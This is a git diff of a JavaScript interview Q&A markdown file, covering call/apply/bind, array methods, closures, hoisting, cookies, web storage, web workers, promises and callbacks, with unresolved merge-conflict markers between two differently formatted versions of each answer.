+    var employee2 = { firstName: 'Jimmy', lastName: 'Baily' };
+
+        function invite(greeting1, greeting2) {
+            console.log(greeting1 + ' ' + this.firstName + ' ' + this.lastName + ', ' + greeting2);
+        }
+
+        invite.apply(employee1, ['Hello', 'How are you?']); // Hello John Rodson, How are you?
+        invite.apply(employee2, ['Hello', 'How are you?']); // Hello Jimmy Baily, How are you?
+        ```
+
+        **bind:** returns a new function, allowing you to pass any number of arguments
+
+        ```js
+
+    //
+    var employee1 = { firstName: 'John', lastName: 'Rodson' };
+    var employee2 = { firstName: 'Jimmy', lastName: 'Baily' };
+
+        function invite(greeting1, greeting2) {
+            console.log(greeting1 + ' ' + this.firstName + ' ' + this.lastName + ', ' + greeting2);
+        }
+
+        var inviteEmployee1 = invite.bind(employee1);
+        var inviteEmployee2 = invite.bind(employee2);
+        inviteEmployee1('Hello', 'How are you?'); // Hello John Rodson, How are you?
+        inviteEmployee2('Hello', 'How are you?'); // Hello Jimmy Baily, How are you?
+        ```
+
+        Call and apply are pretty interchangeable. Both execute the current function immediately. You need to decide whether it's easier to send in an array or a comma separated list of arguments. You can remember by treating Call is for **comma** (separated list) and Apply is for **Array**.
+
+        Whereas Bind creates a new function that will have `this` set to the first parameter passed to bind().
+
+4.  What is JSON and its common operations
+
+        **JSON** is a text-based data format following JavaScript object syntax, which was popularized by `Douglas Crockford`. It is useful when you want to transmit data across a network and it is basically just a text file with an extension of .json, and a MIME type of application/json
+
+        **Parsing:** Converting a string to a native object
+
+        ```js
+
+    //
+    JSON.parse(text);
+
+    ````
+
+        **Stringification:** converting a native object to a string so it can be transmitted across the network
+
+        ```js
+
+    //
+    JSON.stringify(object);
+    ````
+
+5.  What is the purpose of the array slice method
+
+        The **slice()** method returns the selected elements in an array as a new array object. It selects the elements starting at the given start argument, and ends at the given optional end argument without including the last element. If you omit the second argument then it selects till the end.
+
+        Some of the examples of this method are,
+
+        ```js
+
+    //
+>>>>>>> master
     let arrayIntegers = [1, 2, 3, 4, 5];
     let arrayIntegers1 = arrayIntegers.slice(0, 2); // returns [1,2]
     let arrayIntegers2 = arrayIntegers.slice(2, 3); // returns [3]
     let arrayIntegers3 = arrayIntegers.slice(4); //returns [5]
+<<<<<<< HEAD
     ```
 
     **Note:** Slice method won't mutate the original array but it returns the subset as a new array.
@@ -221,10 +433,29 @@ image: images/js-questions-n-answers.png
     Some of the examples of this method are,
 
     ```js
+=======
+
+    ```
+
+        **Note:** Slice method won't mutate the original array but it returns the subset as a new array.
+
+    ```
+
+6.  What is the purpose of the array splice method
+
+        The **splice()** method is used either adds/removes items to/from an array, and then returns the removed item. The first argument specifies the array position for insertion or deletion whereas the optional second argument indicates the number of elements to be deleted. Each additional argument is added to the array.
+
+        Some of the examples of this method are,
+
+        ```js
+
+    //
+>>>>>>> master
     let arrayIntegersOriginal1 = [1, 2, 3, 4, 5];
     let arrayIntegersOriginal2 = [1, 2, 3, 4, 5];
     let arrayIntegersOriginal3 = [1, 2, 3, 4, 5];
 
+<<<<<<< HEAD
     let arrayIntegers1 = arrayIntegersOriginal1.splice(0, 2); // returns [1, 2]; original array: [3, 4, 5]
     let arrayIntegers2 = arrayIntegersOriginal2.splice(3); // returns [4, 5]; original array: [1, 2, 3]
     let arrayIntegers3 = arrayIntegersOriginal3.splice(3, 1, 'a', 'b', 'c'); //returns [4]; original array: [1, 2, 3, "a", "b", "c", 5]
@@ -233,16 +464,34 @@ image: images/js-questions-n-answers.png
     **Note:** Splice method modifies the original array and returns the deleted array.
 
 7. What is the difference between slice and splice
+=======
+        let arrayIntegers1 = arrayIntegersOriginal1.splice(0, 2); // returns [1, 2]; original array: [3, 4, 5]
+        let arrayIntegers2 = arrayIntegersOriginal2.splice(3); // returns [4, 5]; original array: [1, 2, 3]
+        let arrayIntegers3 = arrayIntegersOriginal3.splice(3, 1, 'a', 'b', 'c'); //returns [4]; original array: [1, 2, 3, "a", "b", "c", 5]
+        ```
+
+        **Note:** Splice method modifies the original array and returns the deleted array.
+
+7.  What is the difference between slice and splice
+>>>>>>> master
 
     Some of the major difference in a tabular form
 
     | Slice                                        | Splice                                          |
+<<<<<<< HEAD
     |----------------------------------------------|-------------------------------------------------|
+=======
+    | -------------------------------------------- | ----------------------------------------------- |
+>>>>>>> master
     | Doesn't modify the original array(immutable) | Modifies the original array(mutable)            |
     | Returns the subset of original array         | Returns the deleted elements as array           |
     | Used to pick the elements from array         | Used to insert or delete elements to/from array |
 
+<<<<<<< HEAD
 8. How do you compare Object and Map
+=======
+8.  How do you compare Object and Map
+>>>>>>> master
 
     **Objects** are similar to **Maps** in that both let you set keys to values, retrieve those values, delete keys, and detect whether something is stored at a key. Due to this reason, Objects have been used as Maps historically. But there are important differences that make using a Map preferable in certain cases.
 
@@ -253,6 +502,7 @@ image: images/js-questions-n-answers.png
     5. An Object has a prototype, so there are default keys in the map that could collide with your keys if you're not careful. As of ES5 this can be bypassed by using map = Object.create(null), but this is seldom done.
     6. A Map may perform better in scenarios involving frequent addition and removal of key pairs.
 
+<<<<<<< HEAD
 9. What is the difference between == and === operators
 
     JavaScript provides both strict(===, !==) and type-converting(==, !=) equality comparison. The strict operators take type of variable in consideration, while non-strict operators make type correction/conversion based upon values of variables. The strict operators follow the below conditions for different types,
@@ -274,12 +524,43 @@ image: images/js-questions-n-answers.png
     0 === false  // false
     1 == "1"     // true
     1 === "1"    // false
+=======
+9.  What is the difference between == and === operators
+
+        JavaScript provides both strict(===, !==) and type-converting(==, !=) equality comparison. The strict operators take type of variable in consideration, while non-strict operators make type correction/conversion based upon values of variables. The strict operators follow the below conditions for different types,
+
+        1. Two strings are strictly equal when they have the same sequence of characters, same length, and same characters in corresponding positions.
+        2. Two numbers are strictly equal when they are numerically equal. i.e, Having the same number value.
+           There are two special cases in this,
+            1. NaN is not equal to anything, including NaN.
+            2. Positive and negative zeros are equal to one another.
+        3. Two Boolean operands are strictly equal if both are true or both are false.
+        4. Two objects are strictly equal if they refer to the same Object.
+        5. Null and Undefined types are not equal with ===, but equal with ==. i.e,
+           null===undefined --> false but null==undefined --> true
+
+        Some of the example which covers the above cases,
+
+        ```js
+
+    //
+    0 == false // true
+    0 === false // false
+    1 == "1" // true
+    1 === "1" // false
+>>>>>>> master
     null == undefined // true
     null === undefined // false
     '0' == false // true
     '0' === false // false
     []==[] or []===[] //false, refer different objects in memory
     {}=={} or {}==={} //false, refer different objects in memory
+<<<<<<< HEAD
+=======
+
+    ```
+
+>>>>>>> master
     ```
 
 10. What are lambda or arrow functions
@@ -288,6 +569,7 @@ image: images/js-questions-n-answers.png
 
 11. What is a first class function
 
+<<<<<<< HEAD
     In Javascript, functions are first class objects. First-class functions means when functions in that language are treated like any other variable.
 
     For example, in such a language, a function can be passed as an argument to other functions, can be returned by another function and can be assigned as a value to a variable. For example, in the below example, handler functions assigned to a listener
@@ -295,38 +577,93 @@ image: images/js-questions-n-answers.png
     ```js
     const handler = () => console.log('This is a click handler function');
     document.addEventListener('click', handler);
+=======
+        In Javascript, functions are first class objects. First-class functions means when functions in that language are treated like any other variable.
+
+        For example, in such a language, a function can be passed as an argument to other functions, can be returned by another function and can be assigned as a value to a variable. For example, in the below example, handler functions assigned to a listener
+
+        ```js
+
+    //
+    const handler = () => console.log('This is a click handler function');
+    document.addEventListener('click', handler);
+
+    ```
+
+>>>>>>> master
     ```
 
 12. What is a first order function
 
+<<<<<<< HEAD
     First-order function is a function that doesn't accept another function as an argument and doesn't return a function as its return value.
 
     ```js
     const firstOrder = () => console.log('I am a first order function!');
+=======
+        First-order function is a function that doesn't accept another function as an argument and doesn't return a function as its return value.
+
+        ```js
+
+    //
+    const firstOrder = () => console.log('I am a first order function!');
+
+    ```
+
+>>>>>>> master
     ```
 
 13. What is a higher order function
 
+<<<<<<< HEAD
     Higher-order function is a function that accepts another function as an argument or returns a function as a return value or both.
 
     ```js
     const firstOrderFunc = () => console.log('Hello, I am a First order function');
     const higherOrder = (ReturnFirstOrderFunc) => ReturnFirstOrderFunc();
     higherOrder(firstOrderFunc);
+=======
+        Higher-order function is a function that accepts another function as an argument or returns a function as a return value or both.
+
+        ```js
+
+    //
+    const firstOrderFunc = () => console.log('Hello, I am a First order function');
+    const higherOrder = (ReturnFirstOrderFunc) => ReturnFirstOrderFunc();
+    higherOrder(firstOrderFunc);
+
+    ```
+
+>>>>>>> master
     ```
 
 14. What is a unary function
 
+<<<<<<< HEAD
     Unary function (i.e. monadic) is a function that accepts exactly one argument. It stands for a single argument accepted by a function.
 
     Let us take an example of unary function,
 
     ```js
     const unaryFunction = (a) => console.log(a + 10); // Add 10 to the given argument and display the value
+=======
+        Unary function (i.e. monadic) is a function that accepts exactly one argument. It stands for a single argument accepted by a function.
+
+        Let us take an example of unary function,
+
+        ```js
+
+    //
+    const unaryFunction = (a) => console.log(a + 10); // Add 10 to the given argument and display the value
+
+    ```
+
+>>>>>>> master
     ```
 
 15. What is the currying function
 
+<<<<<<< HEAD
     Currying is the process of taking a function with multiple arguments and turning it into a sequence of functions each with only a single argument. Currying is named after a mathematician **Haskell Curry**. By applying currying, a n-ary function turns it into a unary function.
 
     Let's take an example of n-ary function and how it turns into a currying function,
@@ -350,12 +687,42 @@ image: images/js-questions-n-answers.png
     Let's take an example to see the difference between pure and impure functions,
 
     ```js
+=======
+        Currying is the process of taking a function with multiple arguments and turning it into a sequence of functions each with only a single argument. Currying is named after a mathematician **Haskell Curry**. By applying currying, a n-ary function turns it into a unary function.
+
+        Let's take an example of n-ary function and how it turns into a currying function,
+
+        ```js
+
+    //
+    const multiArgFunction = (a, b, c) => a + b + c;
+    console.log(multiArgFunction(1, 2, 3)); // 6
+
+        const curryUnaryFunction = (a) => (b) => (c) => a + b + c;
+        curryUnaryFunction(1); // returns a function: b => c =>  1 + b + c
+        curryUnaryFunction(1)(2); // returns a function: c => 3 + c
+        curryUnaryFunction(1)(2)(3); // returns the number 6
+        ```
+
+        Curried functions are great to improve **code reusability** and **functional composition**.
+
+16. What is a pure function
+
+        A **Pure function** is a function where the return value is only determined by its arguments without any side effects. i.e, If you call a function with the same arguments 'n' number of times and 'n' number of places in the application then it will always return the same value.
+
+        Let's take an example to see the difference between pure and impure functions,
+
+        ```js
+
+    //
+>>>>>>> master
     //Impure
     let numberArray = [];
     const impureAddNumber = (number) => numberArray.push(number);
     //Pure
     const pureAddNumber = (number) => (argNumberArray) => argNumberArray.concat([number]);
 
+<<<<<<< HEAD
     //Display the results
     console.log(impureAddNumber(6)); // returns 1
     console.log(numberArray); // returns [6]
@@ -380,10 +747,42 @@ image: images/js-questions-n-answers.png
         console.log(counter); // 31
     }
     console.log(counter); // 30 (because the variable in if block won't exist here)
+=======
+        //Display the results
+        console.log(impureAddNumber(6)); // returns 1
+        console.log(numberArray); // returns [6]
+        console.log(pureAddNumber(7)(numberArray)); // returns [6, 7]
+        console.log(numberArray); // returns [6]
+        ```
+
+        As per above code snippets, **Push** function is impure itself by altering the array and returning an push number index which is independent of parameter value. Whereas **Concat** on the other hand takes the array and concatenates it with the other array producing a whole new array without side effects. Also, the return value is a concatenation of the previous array.
+
+        Remember that Pure functions are important as they simplify unit testing without any side effects and no need for dependency injection. They also avoid tight coupling and make it harder to break your application by not having any side effects. These principles are coming together with **Immutability** concept of ES6 by giving preference to **const** over **let** usage.
+
+17. What is the purpose of the let keyword
+
+        The `let` statement declares a **block scope local variable**. Hence the variables defined with let keyword are limited in scope to the block, statement, or expression on which it is used. Whereas variables declared with the `var` keyword used to define a variable globally, or locally to an entire function regardless of block scope.
+
+        Let's take an example to demonstrate the usage,
+
+        ```js
+
+    //
+    let counter = 30;
+    if (counter === 30) {
+    let counter = 31;
+    console.log(counter); // 31
+    }
+    console.log(counter); // 30 (because the variable in if block won't exist here)
+
+    ```
+
+>>>>>>> master
     ```
 
 18. What is the difference between let and var
 
+<<<<<<< HEAD
     You can list out the differences in a tabular format
 
     | var                                                   | let                         |
@@ -406,6 +805,35 @@ image: images/js-questions-n-answers.png
         console.log(age); //error: age is not defined(due to block scope)
     }
     userDetails('John');
+=======
+        You can list out the differences in a tabular format
+
+        | var                                                   | let                         |
+        |-------------------------------------------------------|-----------------------------|
+        | It is been available from the beginning of JavaScript | Introduced as part of ES6   |
+        | It has function scope                                 | It has block scope          |
+        | Variables will be hoisted                             | Hoisted but not initialized |
+
+        Let's take an example to see the difference,
+
+        ```js
+
+    //
+    function userDetails(username) {
+    if (username) {
+    console.log(salary); // undefined due to hoisting
+    console.log(age); // ReferenceError: Cannot access 'age' before initialization
+    let age = 30;
+    var salary = 10000;
+    }
+    console.log(salary); //10000 (accessible to due function scope)
+    console.log(age); //error: age is not defined(due to block scope)
+    }
+    userDetails('John');
+
+    ```
+
+>>>>>>> master
     ```
 
 19. What is the reason to choose the name let as a keyword
@@ -414,6 +842,7 @@ image: images/js-questions-n-answers.png
 
 20. How do you redeclare variables in switch block without an error
 
+<<<<<<< HEAD
     If you try to redeclare variables in a `switch block` then it will cause errors because there is only one block. For example, the below code block throws a syntax error as below,
 
     ```js
@@ -443,10 +872,49 @@ image: images/js-questions-n-answers.png
             break;
         }
     }
+=======
+        If you try to redeclare variables in a `switch block` then it will cause errors because there is only one block. For example, the below code block throws a syntax error as below,
+
+        ```js
+
+    //
+    let counter = 1;
+    switch (x) {
+    case 0:
+    let name;
+    break;
+
+            case 1:
+                let name; // SyntaxError for redeclaration.
+                break;
+        }
+        ```
+
+        To avoid this error, you can create a nested block inside a case clause and create a new block scoped lexical environment.
+
+        ```js
+
+    //
+    let counter = 1;
+    switch (x) {
+    case 0: {
+    let name;
+    break;
+    }
+    case 1: {
+    let name; // No SyntaxError for redeclaration.
+    break;
+    }
+    }
+
+    ```
+
+>>>>>>> master
     ```
 
 21. What is the Temporal Dead Zone
 
+<<<<<<< HEAD
     The Temporal Dead Zone is a behavior in JavaScript that occurs when declaring a variable with the let and const keywords, but not with var. In ECMAScript 6, accessing a `let` or `const` variable before its declaration (within its scope) causes a ReferenceError. The time span when that happens, between the creation of a variable's binding and its declaration, is called the temporal dead zone.
 
     Let's see this behavior with an example,
@@ -458,10 +926,29 @@ image: images/js-questions-n-answers.png
         var counter1 = 1;
         let counter2 = 2;
     }
+=======
+        The Temporal Dead Zone is a behavior in JavaScript that occurs when declaring a variable with the let and const keywords, but not with var. In ECMAScript 6, accessing a `let` or `const` variable before its declaration (within its scope) causes a ReferenceError. The time span when that happens, between the creation of a variable's binding and its declaration, is called the temporal dead zone.
+
+        Let's see this behavior with an example,
+
+        ```js
+
+    //
+    function somemethod() {
+    console.log(counter1); // undefined
+    console.log(counter2); // ReferenceError
+    var counter1 = 1;
+    let counter2 = 2;
+    }
+
+    ```
+
+>>>>>>> master
     ```
 
 22. What is IIFE(Immediately Invoked Function Expression)
 
+<<<<<<< HEAD
     IIFE (Immediately Invoked Function Expression) is a JavaScript function that runs as soon as it is defined. The signature of it would be as below,
 
     ```js
@@ -479,6 +966,30 @@ image: images/js-questions-n-answers.png
     })();
     console.log(message); //Error: message is not defined
     ```
+=======
+        IIFE (Immediately Invoked Function Expression) is a JavaScript function that runs as soon as it is defined. The signature of it would be as below,
+
+        ```js
+
+    //
+    (function () {
+    // logic here
+    })();
+
+    ````
+
+        The primary reason to use an IIFE is to obtain data privacy because any variables declared within the IIFE cannot be accessed by the outside world. i.e, If you try to access variables with IIFE then it throws an error as below,
+
+        ```js
+
+    //
+    (function () {
+    var message = 'IIFE';
+    console.log(message);
+    })();
+    console.log(message); //Error: message is not defined
+    ````
+>>>>>>> master
 
 23. What is the benefit of using modules
 
@@ -490,6 +1001,7 @@ image: images/js-questions-n-answers.png
 
 24. What is memoization
 
+<<<<<<< HEAD
     Memoization is a programming technique which attempts to increase a function's performance by caching its previously computed results. Each time a memoized function is called, its parameters are used to index the cache. If the data is present, then it can be returned, without executing the entire function. Otherwise the function is executed and then the result is added to the cache.
     Let's take an example of adding function with memoization,
 
@@ -507,15 +1019,43 @@ image: images/js-questions-n-answers.png
                 return result;
             }
         };
+=======
+        Memoization is a programming technique which attempts to increase a function's performance by caching its previously computed results. Each time a memoized function is called, its parameters are used to index the cache. If the data is present, then it can be returned, without executing the entire function. Otherwise the function is executed and then the result is added to the cache.
+        Let's take an example of adding function with memoization,
+
+        ```js
+
+    //
+    const memoizAddition = () => {
+    let cache = {};
+    return (value) => {
+    if (value in cache) {
+    console.log('Fetching from cache');
+    return cache[value]; // Here, cache.value cannot be used as property name starts with the number which is not a valid JavaScript identifier. Hence, can only be accessed using the square bracket notation.
+    } else {
+    console.log('Calculating result');
+    let result = value + 20;
+    cache[value] = result;
+    return result;
+    }
+    };
+>>>>>>> master
     };
     // returned function from memoizAddition
     const addition = memoizAddition();
     console.log(addition(20)); //output: 40 calculated
     console.log(addition(20)); //output: 40 cached
+<<<<<<< HEAD
+=======
+
     ```
 
-25. What is Hoisting
+>>>>>>> master
+    ```
+
+25. What is Hoisting
 
+<<<<<<< HEAD
     Hoisting is a JavaScript mechanism where variables and function declarations are moved to the top of their scope before code execution. Remember that JavaScript only hoists declarations, not initialisation.
     Let's take a simple example of variable hoisting,
 
@@ -579,13 +1119,98 @@ image: images/js-questions-n-answers.png
             console.log(message + ' ' + name);
         };
         return greetingInfo;
+=======
+        Hoisting is a JavaScript mechanism where variables and function declarations are moved to the top of their scope before code execution. Remember that JavaScript only hoists declarations, not initialisation.
+        Let's take a simple example of variable hoisting,
+
+        ```js
+
+    //
+    console.log(message); //output : undefined
+    var message = 'The variable Has been hoisted';
+
+    ````
+
+        The above code looks like as below to the interpreter,
+
+        ```js
+
+    //
+    var message;
+    console.log(message);
+    message = 'The variable Has been hoisted';
+    ````
+
+26. What are classes in ES6
+
+        In ES6, Javascript classes are primarily syntactic sugar over JavaScript's existing prototype-based inheritance.
+        For example, the prototype based inheritance written in function expression as below,
+
+        ```js
+
+    //
+    function Bike(model, color) {
+    this.model = model;
+    this.color = color;
+    }
+
+        Bike.prototype.getDetails = function () {
+            return this.model + ' bike has' + this.color + ' color';
+        };
+        ```
+
+        Whereas ES6 classes can be defined as an alternative
+
+        ```js
+
+    //
+    class Bike {
+    constructor(color, model) {
+    this.color = color;
+    this.model = model;
+    }
+
+            getDetails() {
+                return this.model + ' bike has' + this.color + ' color';
+            }
+        }
+        ```
+
+27. What are closures
+
+        A closure is the combination of a function and the lexical environment within which that function was declared. i.e, It is an inner function that has access to the outer or enclosing function's variables. The closure has three scope chains
+
+        1. Own scope where variables defined between its curly brackets
+        2. Outer function's variables
+        3. Global variables
+
+        Let's take an example of closure concept,
+
+        ```js
+
+    //
+    function Welcome(name) {
+    var greetingInfo = function (message) {
+    console.log(message + ' ' + name);
+    };
+    return greetingInfo;
+>>>>>>> master
     }
     var myFunction = Welcome('John');
     myFunction('Welcome '); //Output: Welcome John
     myFunction('Hello Mr.'); //output: Hello Mr.John
+<<<<<<< HEAD
     ```
 
     As per the above code, the inner function(i.e, greetingInfo) has access to the variables in the outer function scope(i.e, Welcome) even after the outer function has returned.
+=======
+
+    ```
+
+        As per the above code, the inner function(i.e, greetingInfo) has access to the variables in the outer function scope(i.e, Welcome) even after the outer function has returned.
+
+    ```
+>>>>>>> master
 
 28. What are modules
 
@@ -632,6 +1257,7 @@ image: images/js-questions-n-answers.png
 
 37. What is a Cookie
 
+<<<<<<< HEAD
     A cookie is a piece of data that is stored on your computer to be accessed by your browser. Cookies are saved as key/value pairs.
     For example, you can create a cookie named username as below,
 
@@ -640,6 +1266,21 @@ image: images/js-questions-n-answers.png
     ```
 
     ![Screenshot](images/cookie.png)
+=======
+        A cookie is a piece of data that is stored on your computer to be accessed by your browser. Cookies are saved as key/value pairs.
+        For example, you can create a cookie named username as below,
+
+        ```js
+
+    //
+    document.cookie = 'username=John';
+
+    ```
+
+        ![Screenshot](images/cookie.png)
+
+    ```
+>>>>>>> master
 
 38. Why do you need a Cookie
 
@@ -650,6 +1291,7 @@ image: images/js-questions-n-answers.png
 
 39. What are the options in a cookie
 
+<<<<<<< HEAD
     There are few below options available for a cookie,
 
     1. By default, the cookie is deleted when the browser is closed but you can change this behavior by setting expiry date (in UTC time).
@@ -674,13 +1316,53 @@ image: images/js-questions-n-answers.png
     ```
 
     **Note:** You should define the cookie path option to ensure that you delete the right cookie. Some browsers doesn't allow to delete a cookie unless you specify a path parameter.
+=======
+        There are few below options available for a cookie,
+
+        1. By default, the cookie is deleted when the browser is closed but you can change this behavior by setting expiry date (in UTC time).
+
+        ```js
+
+    //
+    document.cookie = 'username=John; expires=Sat, 8 Jun 2019 12:00:00 UTC';
+
+    ````
+
+        1. By default, the cookie belongs to a current page. But you can tell the browser what path the cookie belongs to using a path parameter.
+
+        ```js
+
+    //
+    document.cookie = 'username=John; path=/services';
+    ````
+
+40. How do you delete a cookie
+
+        You can delete a cookie by setting the expiry date as a passed date. You don't need to specify a cookie value in this case.
+        For example, you can delete a username cookie in the current page as below.
+
+        ```js
+
+    //
+    document.cookie = 'username=; expires=Fri, 07 Jun 2019 00:00:00 UTC; path=/;';
+
+    ```
+
+        **Note:** You should define the cookie path option to ensure that you delete the right cookie. Some browsers doesn't allow to delete a cookie unless you specify a path parameter.
+
+    ```
+>>>>>>> master
 
 41. What are the differences between cookie, local storage and session storage
 
     Below are some of the differences between cookie, local storage and session storage,
 
     | Feature                           | Cookie                             | Local storage    | Session storage     |
+<<<<<<< HEAD
     |-----------------------------------|------------------------------------|------------------|---------------------|
+=======
+    | --------------------------------- | ---------------------------------- | ---------------- | ------------------- |
+>>>>>>> master
     | Accessed on client or server side | Both server-side & client-side     | client-side only | client-side only    |
     | Lifetime                          | As configured using Expires option | until deleted    | until tab is closed |
     | SSL support                       | Supported                          | Not supported    | Not supported       |
@@ -692,16 +1374,31 @@ image: images/js-questions-n-answers.png
 
 43. How do you access web storage
 
+<<<<<<< HEAD
     The Window object implements the `WindowLocalStorage` and `WindowSessionStorage` objects which has `localStorage`(window.localStorage) and `sessionStorage`(window.sessionStorage) properties respectively. These properties create an instance of the Storage object, through which data items can be set, retrieved and removed for a specific domain and storage type (session or local).
     For example, you can read and write on local storage objects as below
 
     ```js
     localStorage.setItem('logo', document.getElementById('logo').value);
     localStorage.getItem('logo');
+=======
+        The Window object implements the `WindowLocalStorage` and `WindowSessionStorage` objects which has `localStorage`(window.localStorage) and `sessionStorage`(window.sessionStorage) properties respectively. These properties create an instance of the Storage object, through which data items can be set, retrieved and removed for a specific domain and storage type (session or local).
+        For example, you can read and write on local storage objects as below
+
+        ```js
+
+    //
+    localStorage.setItem('logo', document.getElementById('logo').value);
+    localStorage.getItem('logo');
+
+    ```
+
+>>>>>>> master
     ```
 
 44. What are the methods available on session storage
 
+<<<<<<< HEAD
     The session storage provided methods for reading, writing and clearing the session data
 
     ```js
@@ -734,6 +1431,47 @@ image: images/js-questions-n-answers.png
         console.log('The ' + e.key + ' key has been changed from ' + e.oldValue + ' to ' + e.newValue + '.');
     };
     ```
+=======
+        The session storage provided methods for reading, writing and clearing the session data
+
+        ```js
+
+    //
+    // Save data to sessionStorage
+    sessionStorage.setItem('key', 'value');
+
+        // Get saved data from sessionStorage
+        let data = sessionStorage.getItem('key');
+
+        // Remove saved data from sessionStorage
+        sessionStorage.removeItem('key');
+
+        // Remove all saved data from sessionStorage
+        sessionStorage.clear();
+        ```
+
+45. What is a storage event and its event handler
+
+        The StorageEvent is an event that fires when a storage area has been changed in the context of another document. Whereas onstorage property is an EventHandler for processing storage events.
+        The syntax would be as below
+
+        ```js
+
+    //
+    window.onstorage = functionRef;
+
+    ````
+
+        Let's take the example usage of onstorage event handler which logs the storage key and it's values
+
+        ```js
+
+    //
+    window.onstorage = function (e) {
+    console.log('The ' + e.key + ' key has been changed from ' + e.oldValue + ' to ' + e.newValue + '.');
+    };
+    ````
+>>>>>>> master
 
 46. Why do you need web storage
 
@@ -741,6 +1479,7 @@ image: images/js-questions-n-answers.png
 
 47. How do you check web storage browser support
 
+<<<<<<< HEAD
     You need to check browser support for localStorage and sessionStorage before using web storage,
 
     ```js
@@ -749,10 +1488,26 @@ image: images/js-questions-n-answers.png
     } else {
         // Sorry! No Web Storage support..
     }
+=======
+        You need to check browser support for localStorage and sessionStorage before using web storage,
+
+        ```js
+
+    //
+    if (typeof Storage !== 'undefined') {
+    // Code for localStorage/sessionStorage.
+    } else {
+    // Sorry! No Web Storage support..
+    }
+
+    ```
+
+>>>>>>> master
     ```
 
 48. How do you check web workers browser support
 
+<<<<<<< HEAD
     You need to check browser support for web workers before using it
 
     ```js
@@ -761,10 +1516,26 @@ image: images/js-questions-n-answers.png
     } else {
         // Sorry! No Web Worker support..
     }
+=======
+        You need to check browser support for web workers before using it
+
+        ```js
+
+    //
+    if (typeof Worker !== 'undefined') {
+    // code for Web worker support.
+    } else {
+    // Sorry! No Web Worker support..
+    }
+
+    ```
+
+>>>>>>> master
     ```
 
 49. Give an example of a web worker
 
+<<<<<<< HEAD
     You need to follow below steps to start using web workers for counting example
 
     1. Create a Web Worker File: You need to write a script to increment the count value. Let's name it as counter.js
@@ -811,6 +1582,66 @@ image: images/js-questions-n-answers.png
     ```js
     w = undefined;
     ```
+=======
+        You need to follow below steps to start using web workers for counting example
+
+        1. Create a Web Worker File: You need to write a script to increment the count value. Let's name it as counter.js
+
+        ```js
+
+    //
+    let i = 0;
+
+        function timedCount() {
+            i = i + 1;
+            postMessage(i);
+            setTimeout('timedCount()', 500);
+        }
+
+        timedCount();
+        ```
+
+        Here postMessage() method is used to post a message back to the HTML page
+
+        1. Create a Web Worker Object: You can create a web worker object by checking for browser support. Let's name this file as web_worker_example.js
+
+        ```js
+
+    //
+    if (typeof w == 'undefined') {
+    w = new Worker('counter.js');
+    }
+
+    ````
+
+        and we can receive messages from web worker
+
+        ```js
+
+    //
+    w.onmessage = function (event) {
+    document.getElementById('message').innerHTML = event.data;
+    };
+    ````
+
+        1. Terminate a Web Worker:
+           Web workers will continue to listen for messages (even after the external script is finished) until it is terminated. You can use the terminate() method to terminate listening to the messages.
+
+        ```js
+
+    //
+    w.terminate();
+
+    ````
+
+        1. Reuse the Web Worker: If you set the worker variable to undefined you can reuse the code
+
+        ```js
+
+    //
+    w = undefined;
+    ````
+>>>>>>> master
 
 50. What are the restrictions of web workers on DOM
 
@@ -822,6 +1653,7 @@ image: images/js-questions-n-answers.png
 
 51. What is a promise
 
+<<<<<<< HEAD
     A promise is an object that may produce a single value some time in the future with either a resolved value or a reason that it's not resolved(for example, network error). It will be in one of the 3 possible states: fulfilled, rejected, or pending.
 
     The syntax of Promise creation looks like below,
@@ -850,6 +1682,43 @@ image: images/js-questions-n-answers.png
     The action flow of a promise will be as below,
 
     ![Screenshot](images/promises.png)
+=======
+        A promise is an object that may produce a single value some time in the future with either a resolved value or a reason that it's not resolved(for example, network error). It will be in one of the 3 possible states: fulfilled, rejected, or pending.
+
+        The syntax of Promise creation looks like below,
+
+        ```js
+
+    //
+    const promise = new Promise(function (resolve, reject) {
+    // promise description
+    });
+
+    ````
+
+        The usage of a promise would be as below,
+
+        ```js
+
+    //
+    const promise = new Promise(
+    (resolve) => {
+    setTimeout(() => {
+    resolve("I'm a Promise!");
+    }, 5000);
+    },
+    (reject) => {}
+    );
+
+        promise.then((value) => console.log(value));
+        ```
+
+        The action flow of a promise will be as below,
+
+        ![Screenshot](images/promises.png)
+
+    ````
+>>>>>>> master
 
 52. Why do you need a promise
 
@@ -865,6 +1734,7 @@ image: images/js-questions-n-answers.png
 
 54. What is a callback function
 
+<<<<<<< HEAD
     A callback function is a function passed into another function as an argument. This function is invoked inside the outer function to complete an action.
     Let's take a simple example of how to use callback function
 
@@ -895,10 +1765,47 @@ image: images/js-questions-n-answers.png
     }
     function secondFunction() {
         console.log('Second function called');
+=======
+        A callback function is a function passed into another function as an argument. This function is invoked inside the outer function to complete an action.
+        Let's take a simple example of how to use callback function
+
+        ```js
+
+    //
+    function callbackFunction(name) {
+    console.log('Hello ' + name);
+    }
+
+        function outerFunction(callback) {
+            let name = prompt('Please enter your name.');
+            callback(name);
+        }
+
+        outerFunction(callbackFunction);
+        ```
+
+55. Why do we need callbacks
+
+        The callbacks are needed because javascript is an event driven language. That means instead of waiting for a response javascript will keep executing while listening for other events.
+        Let's take an example with the first function invoking an API call(simulated by setTimeout) and the next function which logs the message.
+
+        ```js
+
+    //
+    function firstFunction() {
+    // Simulate a code delay
+    setTimeout(function () {
+    console.log('First function called');
+    }, 1000);
+    }
+    function secondFunction() {
+    console.log('Second function called');
+>>>>>>> master
     }
     firstFunction();
     secondFunction();
 
+<<<<<<< HEAD
     Output;
     // Second function called
     // First function called
@@ -920,6 +1827,34 @@ image: images/js-questions-n-answers.png
             });
         });
     });
+=======
+        Output;
+        // Second function called
+        // First function called
+        ```
+
+        As observed from the output, javascript didn't wait for the response of the first function and the remaining code block got executed. So callbacks are used in a way to make sure that certain code doesn't execute until the other code finishes execution.
+
+56. What is a callback hell
+
+        Callback Hell is an anti-pattern with multiple nested callbacks which makes code hard to read and debug when dealing with asynchronous logic. The callback hell looks like below,
+
+        ```js
+
+    //
+    async1(function(){
+    async2(function(){
+    async3(function(){
+    async4(function(){
+    ....
+    });
+    });
+    });
+    });
+
+    ```
+
+>>>>>>> master
     ```
 
 57. What are server-sent events
@@ -928,6 +1863,7 @@ image: images/js-questions-n-answers.png
 
 58. How do you receive server-sent event notifications
 
+<<<<<<< HEAD
     The EventSource object is used to receive server-sent event notifications. For example, you can receive messages from server as below,
 
     ```js
@@ -937,10 +1873,27 @@ image: images/js-questions-n-answers.png
             document.getElementById('output').innerHTML += event.data + '<br>';
         };
     }
+=======
+        The EventSource object is used to receive server-sent event notifications. For example, you can receive messages from server as below,
+
+        ```js
+
+    //
+    if (typeof EventSource !== 'undefined') {
